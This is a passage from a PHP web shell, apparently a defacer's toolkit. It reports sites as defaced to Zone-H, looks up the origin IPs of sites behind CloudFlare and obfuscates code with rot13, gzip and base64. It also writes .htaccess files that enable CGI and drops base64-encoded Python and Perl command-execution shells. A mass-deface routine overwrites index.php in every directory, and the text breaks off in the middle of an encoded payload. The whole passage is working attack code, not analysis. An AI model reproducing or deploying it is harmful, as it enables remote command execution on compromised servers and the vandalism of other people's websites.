Zone-H -->\r\n</td></center><br><br>\r\n\r\n<?php\r\necho \'<center>\';\r\n\tob_start();\r\n\t$sub = get_loaded_extensions();\r\n\tif(!in_array("curl", $sub)){die(\'[-] Curl Is Not Supported !! \');}\r\n\t$hacker = $_POST[\'defacer\'];\r\n\t$method = $_POST[\'hackmode\'];\r\n\t$neden = $_POST[\'reason\'];\r\n\t$site = $_POST[\'domain\'];\r\n\t\r\n\tif (empty($hacker)){die ("[-] You Must Fill the Attacker name !");}\r\n\telseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}\r\n\telseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}\r\n\telseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}\r\n\t$i = 0;\r\n\t$sites = explode("\\n", $site);\r\n\twhile($i < count($sites)) \r\n\t{\r\n\t\tif(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}\r\n\t\tZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);\r\n\t\techo "Site : ".$sites[$i]." Defaced !\\n";\r\n\t\t++$i;\r\n\t}\r\n\techo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";\r\n\r\n\techo \'</center>\';\r\n}\r\n\r\n/////////////////////////////////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'bypass-cf\'))\r\n{\t\r\necho \'\r\n<form method="POST"><br><br>\r\n<center><p align="center" dir="ltr"><b><font size="5" face="Tahoma">+--=[ Bypass\r\n<font color="#CC0000">CloudFlare</font> ]=--+</font></b></p>\r\n<select class="inputz" name="krz">\r\n\t<option>ftp</option>\r\n\t\t<option>direct-conntect</option>\r\n\t\t\t<option>webmail</option>\r\n\t\t\t\t<option>cpanel</option>\r\n</select>\r\n<input class="inputz" type="text" name="target" value="url">\r\n<input class="inputzbut" type="submit" value="Bypass"></center>\r\n\r\n\';\r\n\r\n$target = $_POST[\'target\'];\r\n# Bypass From FTP\r\nif($_POST[\'krz\'] == "ftp") {\r\n$ftp = gethostbyname("ftp."."$target");\r\necho "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#00ff00\'>Correct \r\nip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$ftp</font></p>";\r\n} \r\n# Bypass From Direct-Connect\r\nif($_POST[\'krz\'] == "direct-conntect") {\r\n$direct = gethostbyname("direct-connect."."$target");\r\necho "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#00ff00\'>Correct \r\nip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$direct</font></p>";\r\n}\r\n# Bypass From Webmail\r\nif($_POST[\'krz\'] == "webmail") {\r\n$web = gethostbyname("webmail."."$target");\r\necho "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#00ff00\'>Correct \r\nip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$web</font></p>";\r\n}\r\n# Bypass From Cpanel\r\nif($_POST[\'krz\'] == "cpanel") {\r\n$cpanel = gethostbyname("cpanel."."$target");\r\necho "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#00ff00\'>Correct \r\nip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$cpanel</font></p>";\r\n}\r\n}\r\n//////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\n\r\n\r\n//////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'hashid\')) {\r\nif(isset($_POST[\'gethash\'])){\r\n\t\t$hash = $_POST[\'hash\'];\r\n\t\tif(strlen($hash)==32){\r\n\t\t\t$hashresult = "MD5 Hash";\r\n\t\t}elseif(strlen($hash)==40){\r\n\t\t\t$hashresult = "SHA-1 Hash/ /MySQL5 Hash";\r\n\t\t}elseif(strlen($hash)==13){\r\n\t\t\t$hashresult = "DES(Unix) Hash";\r\n\t\t}elseif(strlen($hash)==16){\r\n\t\t\t$hashresult = "MySQL Hash / /DES(Oracle Hash)";\r\n\t\t}elseif(strlen($hash)==41){\r\n\t\t\t$GetHashChar = substr($hash, 40);\r\n\t\t\tif($GetHashChar == "*"){\r\n\t\t\t\t$hashresult = "MySQL5 Hash"; \r\n\t\t\t}\t\r\n\t\t}elseif(strlen($hash)==64){\r\n\t\t\t$hashresult = "SHA-256 Hash";\r\n\t\t}elseif(strlen($hash)==96){\r\n\t\t\t$hashresult = "SHA-384 Hash";\r\n\t\t}elseif(strlen($hash)==128){\r\n\t\t\t$hashresult = "SHA-512 Hash";\r\n\t\t}elseif(strlen($hash)==34){\r\n\t\t\tif(strstr($hash, \'$1$\')){\r\n\t\t\t\t$hashresult = "MD5(Unix) Hash";\r\n\t\t\t} \t\r\n\t\t}elseif(strlen($hash)==37){\r\n\t\t\tif(strstr($hash, \'$apr1$\')){\r\n\t\t\t\t$hashresult = "MD5(APR) Hash";\r\n\t\t\t} \t\r\n\t\t}elseif(strlen($hash)==34){\r\n\t\t\tif(strstr($hash, \'$H$\')){\r\n\t\t\t\t$hashresult = "MD5(phpBB3) Hash";\r\n\t\t\t} \t\r\n\t\t}elseif(strlen($hash)==34){\r\n\t\t\tif(strstr($hash, \'$P$\')){\r\n\t\t\t\t$hashresult = "MD5(Wordpress) Hash";\r\n\t\t\t} \t\r\n\t\t}elseif(strlen($hash)==39){\r\n\t\t\tif(strstr($hash, \'$5$\')){\r\n\t\t\t\t$hashresult = "SHA-256(Unix) Hash";\r\n\t\t\t} \t\r\n\t\t}elseif(strlen($hash)==39){\r\n\t\t\tif(strstr($hash, \'$6$\')){\r\n\t\t\t\t$hashresult = "SHA-512(Unix) Hash";\r\n\t\t\t} \t\r\n\t\t}elseif(strlen($hash)==24){\r\n\t\t\tif(strstr($hash, \'==\')){\r\n\t\t\t\t$hashresult = "MD5(Base-64) Hash";\r\n\t\t\t} \t\r\n\t\t}else{\r\n\t\t\t$hashresult = "Hash type not found";\r\n\t\t}\r\n\t}else{\r\n\t\t$hashresult = "Not Hash Entered";\r\n\t}\r\n\t\r\n\t?>\r\n\t<center><br><Br><br>\r\n\t\r\n\t\t<form action="" method="POST">\r\n\t\t<tr>\r\n\t\t<table class="tabnet">\r\n\t\t<th colspan="5">Hash Identification</th>\r\n\t\t<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td>\t<td><input type="text" name="hash" size=\'60\' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>\r\n\t\t<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>\r\n\t</table></tr></form>\r\n\t</center>\r\n\t\r\n\t<?php\r\n }\r\n//////////////////////////////////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'python\')) { \r\necho "<center/><br/><b>\r\n +--==[ python Bypass Exploit ]==--+ \r\n </b><br><br>";\r\n \r\n \r\n mkdir(\'python\', 0755);\r\n chdir(\'python\');\r\n $kokdosya = ".htaccess";\r\n $dosya_adi = "$kokdosya";\r\n $dosya = fopen ($dosya_adi , \'w\') or die ("Dosya açılamadı!");\r\n $metin = "AddHandler cgi-script .izo"; \r\n fwrite ( $dosya , $metin ) ;\r\n fclose ($dosya);\r\n$pythonp = \'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB\r\nIHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD\r\nb3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg\r\ncmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv\r\nciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg\r\nY29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg\r\nZm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv\r\nYXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g\r\nZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj\r\nIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5\r\nOgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y\r\ndCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz\r\ndHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy\r\nb20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj\r\nIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs\r\naW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt\r\nc2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw\r\nNCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg\r\nPSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F\r\nVEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj\r\nIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl\r\ncwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi\r\nIlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g\r\naXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs\r\ndWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu\r\nZy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g\r\nd2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg\r\naXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg\r\nICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk\r\nXSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt\r\nW2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv\r\ncm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg\r\nPSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y\r\nIGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg\r\nICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z\r\naGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+\r\nCjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48\r\nST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl\r\ncnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs\r\nICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg\r\nQ29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr\r\nIHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1\r\ndCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5\r\nZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n\r\nIFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj\r\nIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj\r\ncmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6\r\nIHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg\r\nICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs\r\nYW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt\r\nKFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt\r\naGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+\r\nPEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS\r\nPicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg\r\nICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg\r\nICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv\r\ndXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy\r\naW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv\r\nbiwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv\r\nbW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ\r\nTygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh\r\nbHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg\r\nICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD\r\nSEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0\r\nZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw\r\ncm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi\';\r\n\r\n$file = fopen("python.izo" ,"w+");\r\n$write = fwrite ($file ,base64_decode($pythonp));\r\nfclose($file);\r\n chmod("python.izo",0755);\r\n echo " <iframe src=python/python.izo width=96% height=76% frameborder=0></iframe>\r\n \r\n </div>"; }\r\n\r\n//////////////////////////////////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'string\')){\r\n$text = $_POST[\'code\'];\r\n?><center><br><br><b>+--=[ Script Encode & Decode ]=--+</b><br><br>\r\n<form method="post"><br><br><br>\r\n<textarea class=\'inputz\' cols=80 rows=10 name="code"></textarea><br><br>\r\n<select class=\'inputz\' size="1" name="ope">\r\n<option value="base64">Base64</option>\r\n<option value="gzinflate">str_rot13 - gzinflate - base64</option>\r\n<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>\r\n</select> <input class=\'inputzbut\' type=\'submit\' name=\'submit\' value=\'Encrypt\'>\r\n<input class=\'inputzbut\' type=\'submit\' name=\'submits\' value=\'Decrypt\'>\r\n</form>\r\n\r\n<?php \r\n$submit = $_POST[\'submit\'];\r\nif (isset($submit)){\r\n$op = $_POST["ope"];\r\nswitch ($op) {case \'base64\': $codi=base64_encode($text);\r\nbreak;case \'str\' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));\r\nbreak;case \'gzinflate\' : $codi=base64_encode(gzdeflate(str_rot13($text)));\r\nbreak;default:break;}}\r\n\r\n$submit = $_POST[\'submits\'];\r\nif (isset($submit)){\r\n$op = $_POST["ope"];\r\nswitch ($op) {case \'base64\': $codi=base64_decode($text);\r\nbreak;case \'str\' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));\r\nbreak;case \'gzinflate\' : $codi=str_rot13(gzinflate(base64_decode($text)));\r\nbreak;default:break;}}\r\n\r\necho \'<textarea cols=80 rows=10 class="inputz" readonly>\'.$codi.\'</textarea></center><BR><BR>\';\r\n\r\n}\r\n\r\n/////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'mass\'))\r\n{\r\necho "<center/><br/><b><font color=#00ff00>-=[ Mass Deface ]=-</font></b><br>";\r\nerror_reporting(0);?>\r\n<form ENCTYPE="multipart/form-data" action="<?php $_SERVER[\'PHP_SELF\']?>" method=\'post\'>\r\n<td><table><table class="tabnet" >\r\n<form hethot=\'post\'>\r\n<tr>\r\n\t<tr>\r\n\t<td> Folder</td><td><input class =\'inputz\' type=\'text\' name=\'path\' size=\'60\' value="<?php echo getcwd();?>"></td>\r\n\t</tr><br>\r\n\t<tr>\r\n\t<td>file name</td><td><input class =\'inputz\' type=\'text\' name=\'file\' size=\'60\' value="index.php"></td>\r\n\t</tr>\r\n</tr>\r\n<th colspan=\'2\'><b>Index code</b></th><br></table>\r\n<textarea style=\'background:black;outline:none;\' name=\'index\' rows=\'10\' cols=\'67\'>HACKED BY X\'1N73CT,PATCH YOUR SECURITY SYSTEM</textarea><br>\r\n<center><input class=\'inputzbut\' type=\'submit\' value=" Deface "></center></form></table><br></form>\r\n\r\n<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}\r\n\r\n//////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'cgi\')) { \r\necho "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1 Bypass Exploit]==--+ </font></b><br><br>";\r\n mkdir(\'cgitelnet1\', 0755);\r\n chdir(\'cgitelnet1\'); \r\n $kokdosya = ".htaccess";\r\n $dosya_adi = "$kokdosya";\r\n $dosya = fopen ($dosya_adi , \'w\') or die ("Dosya açılamadı!");\r\n $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI\r\n\r\nAddType application/x-httpd-cgi .cin\r\n\r\nAddHandler cgi-script .cin\r\nAddHandler cgi-script .cin"; \r\n fwrite ( $dosya , $metin ) ;\r\n fclose ($dosya);\r\n$cgishellizocin = \'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXM